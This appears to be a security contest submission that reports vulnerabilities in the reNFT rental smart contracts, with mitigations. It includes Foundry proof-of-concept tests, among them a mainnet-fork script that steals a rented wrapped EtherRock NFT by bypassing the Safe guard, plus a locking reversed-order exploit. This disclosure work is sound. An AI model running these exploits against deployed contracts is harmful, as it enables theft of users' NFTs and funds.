reNFT - rokinot's results

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L210-L212

Vulnerability details

Whenever the rental process is done, stopRent() is called to finalize orders retrieve the assets. Orders may have hooks attached to them which, if enabled, call their onStop() function in order to execute behaviour the smart contract may wish to trigger when the rental is finished. Hooks have a bitmap flag attached to them which signifies whether this function was implemented or not. Inside the _removeHooks() internal function, a loop runs through all the hooks and verifies whether onStop() is enabled.

            if (!STORE.hookOnStop(target)) {
                revert Errors.Shared_DisabledHook(target);
            }

Impact

The issue is that when a hook doesn't implement the function or when the flag is disabled, the check throws a revert instead of continuing the loop. Since the entire call stack reverts, users are unable to retrieve their nft. Administrators could set the flag as true, but if a hook has no fallback function, that won't be enough to withdraw, as the contract call to the hook will revert, leaving the asset stuck in the safe indefinitely.

Proof of Concept

In OrderCreator.sol, change the _createOrderMetadata() function as follows.

    function _createOrderMetadata(OrderType orderType) private {
        MockHook_Success mockHook;
        mockHook = new MockHook_Success();
        // Create order metadata
        orderToCreate.metadata.orderType = orderType;
        orderToCreate.metadata.rentDuration = 500;
        orderToCreate.metadata.emittedExtraData = new bytes(0);
        orderToCreate.metadata.hooks.push(Hook(address(mockHook),0,""));
    }

Now in stopRent.t.sol, import the mock hook and modify the base order function as follows

import {MockHook_Success} from "@test/mocks/MockHook.sol";
.
.
.
    function test_StopRent_BaseOrder() public {
        // create a BASE order
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the order creation
        (
            Order memory order,
            bytes32 orderHash,
            OrderMetadata memory metadata
        ) = finalizeOrder();

        // create an order fulfillment
        createOrderFulfillment({
            _fulfiller: bob,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });

        vm.prank(deployer.addr);
        guard.updateHookStatus(address(metadata.hooks[0].target), uint8(3));
.
.
.

As a result, the test_StopRent_BaseOrder() now reverts. Forge output below:

    ├─ [10314] StopPolicy::stopRent(RentalOrder({ seaportOrderHash: 0xdfcc6ab038466921a7d54fb055a25fbf8acc59b66ab40a68746c8eb7c653f487, items: [Item({ itemType: 0, settleTo: 0, token: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c, amount: 1, identifier: 0 }), Item({ itemType: 2, settleTo: 0, token: 0x1d1499e622D69689cdf9004d05Ec547d650Ff211, amount: 100, identifier: 0 })], hooks: [Hook({ target: 0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758, itemIndex: 0, extraData: 0x })], orderType: 0, lender: 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, renter: 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e, rentalWallet: 0x8B13BE9f9F391a618e7c89114351a6d2005B20C6, startTimestamp: 1, endTimestamp: 502 }))
    │   ├─ [959] STORE::hookOnStop(MockHook_Success: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758]) [staticcall]
    │   │   ├─ [639] STORE_IMPLEMENTATION::hookOnStop(MockHook_Success: [0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758]) [delegatecall]
    │   │   │   └─ ← false
    │   │   └─ ← false
    │   └─ ← Shared_DisabledHook(0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758)
    └─ ← Shared_DisabledHook(0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758)

Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 22.10ms
 
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/integration/StopRent.t.sol:TestStopRent
[FAIL. Reason: Shared_DisabledHook(0x96d3F6c20EEd2697647F543fE6C08bC2Fbf39758)] test_StopRent_BaseOrder() (gas: 2480465)

Tools Used

Foundry, Manual code review

Recommended Mitigation Steps

If a hook doesn't implement onStop(), simply allow the loop to continue, as shown below:

            if (!STORE.hookOnStop(target)) {
                continue;
            }

Assessed type

Error

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L195 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L353

Vulnerability details

Impact

Certain NFT collections were released before EIP-721 was drafted, and in order for them to interact with ERC721 compliant protocols, wrapped contracts were created. These contracts include methods to wrap and unwrap the NFT which the guard cannot defend against before checking the transaction, as well as unorthodox ways to transfer the asset. By unwrapping the ERC721 compliant asset and calling a transfer function with a selector not included in IERC721, borrowers can bypass the guard check and steal the asset.

Proof of Concept

The test below is using the Wrapped Etherrock collection as an example, and shows how by calling unwrap() - turning the Wrapped Etherrock into the original Etherrock - and giftRock() in order to transfer the later, the safe is emptied. The same vulnerability can also apply to CryptoPunks by calling burn() and transferPunk().

In order to run the test below, you must fork mainnet. Save it as a new file under test/unit/Guard/, then run forge test --match-test test_stealEtherRock --fork-url (INFURA/ALCHEMY W/ API KEY) -vvv

pragma solidity ^0.8.22;

import {ECDSA} from "@openzeppelin-contracts/utils/cryptography/ECDSA.sol";
import {MockTarget} from "@test/mocks/MockTarget.sol";
/*import {IEtherRockERC721} from "./WrappedEtherRock.sol";
import {IEtherRock} from "./EtherRock.sol";*/
import {
    AdvancedOrderLib,
    ConsiderationItemLib,
    FulfillmentComponentLib,
    FulfillmentLib,
    OfferItemLib,
    OrderComponentsLib,
    OrderLib,
    OrderParametersLib,
    SeaportArrays,
    ZoneParametersLib
} from "@seaport-sol/SeaportSol.sol";
import {
    ConsiderationItem,
    OfferItem,
    OrderParameters,
    OrderComponents,
    Order,
    AdvancedOrder,
    ItemType,
    CriteriaResolver,
    OrderType as SeaportOrderType
} from "@seaport-types/lib/ConsiderationStructs.sol";
import {OrderMetadata, OrderType, Hook, RentalOrder} from "@src/libraries/RentalStructs.sol";
import {OrderCreator} from "@test/fixtures/engine/OrderCreator.sol";
import {ProtocolAccount} from "@test/utils/Types.sol";
import {BaseTest} from "@test/BaseTest.sol";
import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";

import {IERC721} from "@openzeppelin-contracts/token/ERC721/IERC721.sol";

interface IEtherRockERC721 is IERC721 {
    function getRockInfo(uint tokenId) external view returns (address, bool, uint, uint);
    function checkIfUpdateRequired(uint tokenId) external view returns (bool updateRequired);
    function update(uint tokenId) external;
    function updateAll() external;
    function wrap(uint tokenId) external;
    function unwrap(uint tokenId) external;
}

interface IEtherRock {
    function getRockInfo (uint rockNumber) external returns (address, bool, uint, uint);
    function rockOwningHistory (address _address) external returns (uint[] calldata);
    function buyRock (uint rockNumber) payable external;
    function sellRock (uint rockNumber, uint price) external;
    function dontSellRock (uint rockNumber) external;
    function giftRock (uint rockNumber, address receiver) external;
    function withdraw() external;
}

// Tests functionality on the guard related to transaction checking
contract Guard_CheckTransaction_Unit_Test is BaseTest {
    using OfferItemLib for OfferItem;
    using ConsiderationItemLib for ConsiderationItem;
    using OrderComponentsLib for OrderComponents;
    using OrderLib for Order;
    using ECDSA for bytes32;

    IEtherRockERC721 wrappedrock;
    IEtherRock etherrock;

    function setUp() public override {
        super.setUp();

        OrderComponentsLib
            .empty()
            .withOrderType(SeaportOrderType.FULL_RESTRICTED)
            .withZone(address(create))
            .withStartTime(block.timestamp)
            .withEndTime(block.timestamp + 100)
            .withSalt(123456789)
            .withConduitKey(conduitKey)
            .saveDefault(STANDARD_ORDER_COMPONENTS);

        //0x41f28833Be34e6EDe3c58D1f597bef429861c4E2 etherrock
        //0xA3F5998047579334607c47a6a2889BF87A17Fc02 wrapped

        etherrock = IEtherRock(0x41f28833Be34e6EDe3c58D1f597bef429861c4E2);
        wrappedrock = IEtherRockERC721(0xA3F5998047579334607c47a6a2889BF87A17Fc02);

        (address ownerOf11, , uint256 price, ) = etherrock.getRockInfo(11);
        emit log_address(ownerOf11);

        vm.deal(alice.addr, price * 2);

        vm.startPrank(alice.addr);
        etherrock.buyRock{value: price}(11);
        wrappedrock.update(11);
        etherrock.giftRock(11, address(wrappedrock));
        wrappedrock.wrap(11);
        wrappedrock.approve(address(conduit), 11);
        vm.stopPrank();
    }

    function test_stealEtherRock() public {
        //Alice, owner of the wrapped rock, creates an order
        OfferItem memory offerItem;
        offerItem.itemType = ItemType.ERC721;
        offerItem.token = address(wrappedrock);
        offerItem.identifierOrCriteria = 11;
        offerItem.startAmount = 1;
        offerItem.endAmount = 1;

        OrderMetadata memory metadata;
        metadata.orderType = OrderType.BASE;
        metadata.rentDuration = 500;
        metadata.emittedExtraData = new bytes(0);

        ConsiderationItem memory consideration;
        consideration.itemType = ItemType.ERC20;
        consideration.token = address(erc20s[0]);
        consideration.identifierOrCriteria = 0;
        consideration.startAmount = 100;
        consideration.endAmount = 100;
        consideration.recipient = payable(address(ESCRW));

        OrderCreator.OrderToCreate memory orderToCreate_;
        orderToCreate_.offerer = alice;
        orderToCreate_.offerItems = new OfferItem[](1);
        orderToCreate_.offerItems[0] = offerItem;
        orderToCreate_.considerationItems = new ConsiderationItem[](1);
        orderToCreate_.considerationItems[0] = consideration;
        orderToCreate_.metadata = metadata;

        (Order memory order, bytes32 orderHash) = _createSignedOrderRock(
            orderToCreate_.offerer,
            orderToCreate_.offerItems,
            orderToCreate_.considerationItems,
            orderToCreate_.metadata
        );

        //bob fulfills
        createOrderFulfillment({
            _fulfiller: bob,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });
        finalizeBaseOrderFulfillment();

        //bob, owner of the safe, unwraps the rock
        bytes memory transaction = abi.encodeWithSelector(IEtherRockERC721.unwrap.selector , 11);

        bytes memory transactionSignature = SafeUtils.signTransaction(
            address(bob.safe),
            bob.privateKey,
            address(wrappedrock),
            transaction
        );

        vm.prank(bob.addr);
        SafeUtils.executeTransaction(
            address(bob.safe),
            address(wrappedrock),
            transaction,
            transactionSignature
        );

        transaction = abi.encodeWithSelector(IEtherRock.giftRock.selector , 11, bob.addr);
        transactionSignature = SafeUtils.signTransaction(
            address(bob.safe),
            bob.privateKey,
            address(etherrock),
            transaction
        );

        vm.prank(bob.addr);
        SafeUtils.executeTransaction(
            address(bob.safe),
            address(etherrock),
            transaction,
            transactionSignature
        );

        //As the owner of the Etherrock, bob can wrap it again to receive the wrapped version, finishing stealing the rock
        vm.startPrank(bob.addr);
        wrappedrock.update(11);
        etherrock.giftRock(11, address(wrappedrock));
        wrappedrock.wrap(11);

        assertEq(wrappedrock.ownerOf(11), bob.addr);
    }

    function _createSignedOrderRock(
        ProtocolAccount memory _offerer,
        OfferItem[] memory _offerItems,
        ConsiderationItem[] memory _considerationItems,
        OrderMetadata memory _metadata
    ) internal view returns (Order memory order, bytes32 orderHash) {
        // Build the order components
        OrderComponents memory orderComponents = OrderComponentsLib
            .fromDefault(STANDARD_ORDER_COMPONENTS)
            .withOfferer(_offerer.addr)
            .withOffer(_offerItems)
            .withConsideration(_considerationItems)
            .withZoneHash(create.getOrderMetadataHash(_metadata))
            .withCounter(seaport.getCounter(_offerer.addr));

        // generate the order hash
        orderHash = seaport.getOrderHash(orderComponents);

        // generate the signature for the order components
        bytes memory signature = _signSeaportOrderRock(_offerer.privateKey, orderHash);

        // create the order, but dont provide a signature if its a PAYEE order.
        // Since PAYEE orders are fulfilled by the offerer of the order, they
        // dont need a signature.
        if (_metadata.orderType == OrderType.PAYEE) {
            order = OrderLib.empty().withParameters(orderComponents.toOrderParameters());
        } else {
            order = OrderLib
                .empty()
                .withParameters(orderComponents.toOrderParameters())
                .withSignature(signature);
        }
    }

    function _signSeaportOrderRock(
        uint256 signerPrivateKey,
        bytes32 orderHash
    ) private view returns (bytes memory signature) {
        // fetch domain separator from seaport
        (, bytes32 domainSeparator, ) = seaport.information();

        // sign the EIP-712 digest
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            signerPrivateKey,
            domainSeparator.toTypedDataHash(orderHash)
        );

        // encode the signature
        signature = abi.encodePacked(r, s, v);
    }
}

Tools Used

Foundry, manual code review

Recommended Mitigation Steps

As of the time of this writing, I was unable to fully refactor the code in order to implement the following fix. In order to prevent against all kinds of asset stealing, checkAfterExecution() must be implemented with a functionality to revert the transaction in case the safe is not the current owner of the NFT while the rental is active.

Inside the after check, ensure msg.sender is a deployed safe in STORE, then check if the safe has a finished rental. This requires checking all rentals a safe may have. A mapping that associates all orderHashes to it's safe owner must be implemented for this. For every unfinished rental, ensure the rental safe is still the owner of the respective ERC721/ERC1155.

In case stopRent() is the function being called, the owner after the transaction won't be the safe anymore, though its intended behavior. To allow this call, create a flag in Guard.sol set as true in case the selector identified in the pre-transaction is the same as stopRent.

bool public isStopRent;
.
.
.
function _checkTransaction(address from, address to, bytes memory data) private view {
         .
         .
         .
         if (selector == bytes4(0xf1c9e188)) { //function signature of stopRent
            isStopRent = true;
        }
    }
.
.
.
function checkAfterExecution(bytes32 txHash, bool success) external override {
        require(STORE.deployedSafes(msg.sender) != 0, "Safe must be from this protocol");
        if(isStopRent) {
            isStopRent = false;
            return;
        }
        /*
         * TODO: loop that verifies all active orders of this safe still hold their respective asset
         */
    }

Assessed type

Token-Transfer

Judge has assessed an item in Issue #145 as 2 risk. The relevant finding follows:

L1

Low

Reversed orders can be created, locking both offers and considerations

During the process of creating an order, regardless if it's base or pay type, it's possible to switch the addresses of the ERC721 and ERC20 offer and consideration respectively. This leads to a situation where the ERC20 tokens are sent to the renter's address while the ERC721s are sent to the payment escrow.

Here's a proof of concept, showing that the rental is created but cannot be stopped. I've reused a PoC of another submission, so in order to run this test you must fork the mainnet.

pragma solidity ^0.8.22;

import {ECDSA} from "@openzeppelin-contracts/utils/cryptography/ECDSA.sol";
import {MockTarget} from "@test/mocks/MockTarget.sol";
import {
    AdvancedOrderLib,
    ConsiderationItemLib,
    FulfillmentComponentLib,
    FulfillmentLib,
    OfferItemLib,
    OrderComponentsLib,
    OrderLib,
    OrderParametersLib,
    SeaportArrays,
    ZoneParametersLib
} from "@seaport-sol/SeaportSol.sol";
import {
    ConsiderationItem,
    OfferItem,
    OrderParameters,
    OrderComponents,
    Order,
    AdvancedOrder,
    ItemType,
    CriteriaResolver,
    OrderType as SeaportOrderType
} from "@seaport-types/lib/ConsiderationStructs.sol";
import {OrderMetadata, OrderType, Hook, RentalOrder} from "@src/libraries/RentalStructs.sol";
import {OrderCreator} from "@test/fixtures/engine/OrderCreator.sol";
import {ProtocolAccount} from "@test/utils/Types.sol";
import {BaseTest} from "@test/BaseTest.sol";
import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";

import {IERC721} from "@openzeppelin-contracts/token/ERC721/IERC721.sol";

interface IEtherRockERC721 is IERC721 {
    function getRockInfo(uint tokenId) external view returns (address, bool, uint, uint);
    function checkIfUpdateRequired(uint tokenId) external view returns (bool updateRequired);
    function update(uint tokenId) external;
    function updateAll() external;
    function wrap(uint tokenId) external;
    function unwrap(uint tokenId) external;
}

interface IEtherRock {
    function getRockInfo (uint rockNumber) external returns (address, bool, uint, uint);
    function rockOwningHistory (address _address) external returns (uint[] calldata);
    function buyRock (uint rockNumber) payable external;
    function sellRock (uint rockNumber, uint price) external;
    function dontSellRock (uint rockNumber) external;
    function giftRock (uint rockNumber, address receiver) external;
    function withdraw() external;
}

// Tests functionality on the guard related to transaction checking
contract Guard_CheckTransaction_Unit_Test is BaseTest {
    using OfferItemLib for OfferItem;
    using ConsiderationItemLib for ConsiderationItem;
    using OrderComponentsLib for OrderComponents;
    using OrderLib for Order;
    using ECDSA for bytes32;

    IEtherRockERC721 wrappedrock;
    IEtherRock etherrock;

    function setUp() public override {
        super.setUp();

        OrderComponentsLib
            .empty()
            .withOrderType(SeaportOrderType.FULL_RESTRICTED)
            .withZone(address(create))
            .withStartTime(block.timestamp)
            .withEndTime(block.timestamp + 100)
            .withSalt(123456789)
            .withConduitKey(conduitKey)
            .saveDefault(STANDARD_ORDER_COMPONENTS);

        //0x41f28833Be34e6EDe3c58D1f597bef429861c4E2 etherrock
        //0xA3F5998047579334607c47a6a2889BF87A17Fc02 wrapped

        etherrock = IEtherRock(0x41f28833Be34e6EDe3c58D1f597bef429861c4E2);
        wrappedrock = IEtherRockERC721(0xA3F5998047579334607c47a6a2889BF87A17Fc02);

        (address ownerOf11, , uint256 price, ) = etherrock.getRockInfo(11);

        vm.deal(alice.addr, price);

        vm.startPrank(alice.addr);
        etherrock.buyRock{value: price}(11);
        wrappedrock.update(11);
        etherrock.giftRock(11, address(wrappedrock));
        wrappedrock.wrap(11);
        wrappedrock.approve(address(conduit), 11);
        vm.stopPrank();

        vm.deal(bob.addr, 1000000000000000000000);

        vm.startPrank(bob.addr);
        etherrock.buyRock{value: 1000000000000000000000}(12);
        wrappedrock.update(12);
        etherrock.giftRock(12, address(wrappedrock));
        wrappedrock.wrap(12);
        wrappedrock.approve(address(conduit), 12);
        vm.stopPrank();
    }

    function test_nftAsConsiderationForRental() public {
        //Alice, owner of the wrapped rock, creates a reverse order
        OfferItem memory offerItem;
        offerItem.itemType = ItemType.ERC20;
        offerItem.token = address(wrappedrock);
        offerItem.identifierOrCriteria = 0;
        offerItem.startAmount = 11;
        offerItem.endAmount = 11;

        OfferItem memory offerItem2;
        offerItem2.itemType = ItemType.ERC721;
        offerItem2.token = address(erc20s[0]);
        offerItem2.identifierOrCriteria = 100;
        offerItem2.startAmount = 1;
        offerItem2.endAmount = 1;

        OrderMetadata memory metadata;
        metadata.orderType = OrderType.PAY; 
        metadata.rentDuration = 500;
        metadata.emittedExtraData = new bytes(0);

        OrderCreator.OrderToCreate memory createPay;
        createPay.offerer = alice;
        createPay.offerItems = new OfferItem[](2);
        createPay.offerItems[0] = offerItem;
        createPay.offerItems[1] = offerItem2;
        createPay.metadata = metadata;

        (Order memory payOrder, bytes32 payOrderHash) = _createSignedOrderTest(
            createPay.offerer,
            createPay.offerItems,
            createPay.considerationItems,
            createPay.metadata
        );

        //bob fulfills
        ConsiderationItem memory consideration;
        consideration.itemType = ItemType.ERC20;
        consideration.token = address(wrappedrock); 
        consideration.identifierOrCriteria = 0;
        consideration.startAmount = 11;
        consideration.endAmount = 11;
        consideration.recipient = payable(address(ESCRW));

        ConsiderationItem memory consideration2;
        consideration2.itemType = ItemType.ERC721;
        consideration2.token = address(erc20s[0]); 
        consideration2.identifierOrCriteria = 100;
        consideration2.startAmount = 1;
        consideration2.endAmount = 1;
        consideration2.recipient = payable(address(bob.safe));

        OrderCreator.OrderToCreate memory orderToCreate2;
        orderToCreate2.offerer = bob;
        orderToCreate2.considerationItems = new ConsiderationItem[](2);
        orderToCreate2.considerationItems[0] = consideration;
        orderToCreate2.considerationItems[1] = consideration2;

        OrderMetadata memory payeeOrderMetadata;
        payeeOrderMetadata.orderType = OrderType.PAYEE;
        payeeOrderMetadata.rentDuration = 500;
        payeeOrderMetadata.emittedExtraData = new bytes(0);

        (Order memory payeeOrder, bytes32 payeeOrderHash) = _createSignedOrderTest(
            orderToCreate2.offerer,
            orderToCreate2.offerItems,
            orderToCreate2.considerationItems,
            payeeOrderMetadata
        );

        // create an order fulfillment for the pay order
        createOrderFulfillment({
            _fulfiller: bob,
            order: payOrder,
            orderHash: payOrderHash,
            metadata: metadata
        });

        // create an order fulfillment for the payee order
        createOrderFulfillment({
            _fulfiller: bob,
            order: payeeOrder,
            orderHash: payeeOrderHash,
            metadata: payeeOrderMetadata
        });

        // add an amendment to include the seaport fulfillment structs
        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});

        // finalize the order pay/payee order fulfillment
        (
            RentalOrder memory payRentalOrder,
            RentalOrder memory payeeRentalOrder
        ) = finalizePayOrderFulfillment();

        // get the rental order hashes
        bytes32 payRentalOrderHash = create.getRentalOrderHash(payRentalOrder);
        bytes32 payeeRentalOrderHash = create.getRentalOrderHash(payeeRentalOrder);

        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);

        //Rental stop reverts on call, because ERC20s don't have the safeTransferFrom method implemented
        vm.expectRevert();
        stop.stopRent(payRentalOrder);
    }

    function _createSignedOrderTest(
        ProtocolAccount memory _offerer,
        OfferItem[] memory _offerItems,
        ConsiderationItem[] memory _considerationItems,
        OrderMetadata memory _metadata
    ) internal returns (Order memory order, bytes32 orderHash) {
        // Build the order components
        OrderComponents memory orderComponents = OrderComponentsLib
            .fromDefault(STANDARD_ORDER_COMPONENTS)
            .withOfferer(_offerer.addr)
            .withOffer(_offerItems)
            .withConsideration(_considerationItems)
            .withZoneHash(create.getOrderMetadataHash(_metadata))
            .withCounter(seaport.getCounter(_offerer.addr));

        // generate the order hash
        orderHash = seaport.getOrderHash(orderComponents);

        // generate the signature for the order components
        bytes memory signature = _signSeaportOrderRock(_offerer.privateKey, orderHash);

        // create the order, but dont provide a signature if its a PAYEE order.
        // Since PAYEE orders are fulfilled by the offerer of the order, they
        // dont need a signature.
        if (_metadata.orderType == OrderType.PAYEE) {
            order = OrderLib.empty().withParameters(orderComponents.toOrderParameters());
        } else {
            order = OrderLib
                .empty()
                .withParameters(orderComponents.toOrderParameters())
                .withSignature(signature);
        }
    }

    function _signSeaportOrderRock(
        uint256 signerPrivateKey,
        bytes32 orderHash
    ) private view returns (bytes memory signature) {
        // fetch domain separator from seaport
        (, bytes32 domainSeparator, ) = seaport.information();

        // sign the EIP-712 digest
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            signerPrivateKey,
            domainSeparator.toTypedDataHash(orderHash)
        );

        // encode the signature
        signature = abi.encodePacked(r, s, v);
    }
}

Submitting this as a low because since the creator of the order is the owner of the NFT itself, its unlikely that they would be interested in this scenario playing out. In the future, if the protocol acquires interest in being able to create payee orders, this vulnerability could be used in order to steal the ERC20 provided.

An user can frontrun stopRentBatch() in order to grief batch retrievals

In the scenario an user, or maybe the sponsors taking care of the protocol, wants to retrieve a large amount of orders, an user can frontrun it by calling stopRent()on one of the orders being submitted. This will cause the entire call stack to revert.

It's recommended that the loop function simply continues in case of a reversal instead.

Kernel executor can steal all funds

skim() allows the owner to withdraw all funds that were accidentally sent to the payment escrow. The only addresses allowed to call this function are those who request permission from the kernel. The executor, being a power user of the kernel, can grant permission to one of their addresses to call increaseDeposit(), and increase the internal balancing of the contract.

By increasing the internal balance of the contract by at least twice of what it is, the executor is then able to call skim() to withdraw all of the funds.

Rental may last forever in case lender gets blacklisted

Certain tokens like USDC and USDT have a blacklist function which prevents these addresses from either receiving or sending tokens. If by any chance the lender of a base type order gets blacklisted, the token won't be transfered from the escrow, and stopRent() will always revert. The likelihood is extremely low as only few addresses were blacklisted, however its still possible.

Non-Critical

Update the rental contracts to gnosis safe v1.5.0

A handful of key changes were done compared to the v1.4.1 version which may hinder usage of rental safes.

For more information, visit https://github.com/safe-global/safe-contracts/blob/main/CHANGELOG.md

Fees work in unfavorable ways for users

Fees are charged at order stop instead of order creation, meaning that users are at the whims of the administrator regarding how much in fees they're gonna be charged. Its possible that either renter and/or lender would be dissatisfied with a fee increment outside of their consent.

One way to fix this would be by increasing the internal deposit accounting of the payment escrow by total deposited - fee at the order creation, this way the fee is charged at the beginning of the rental instead.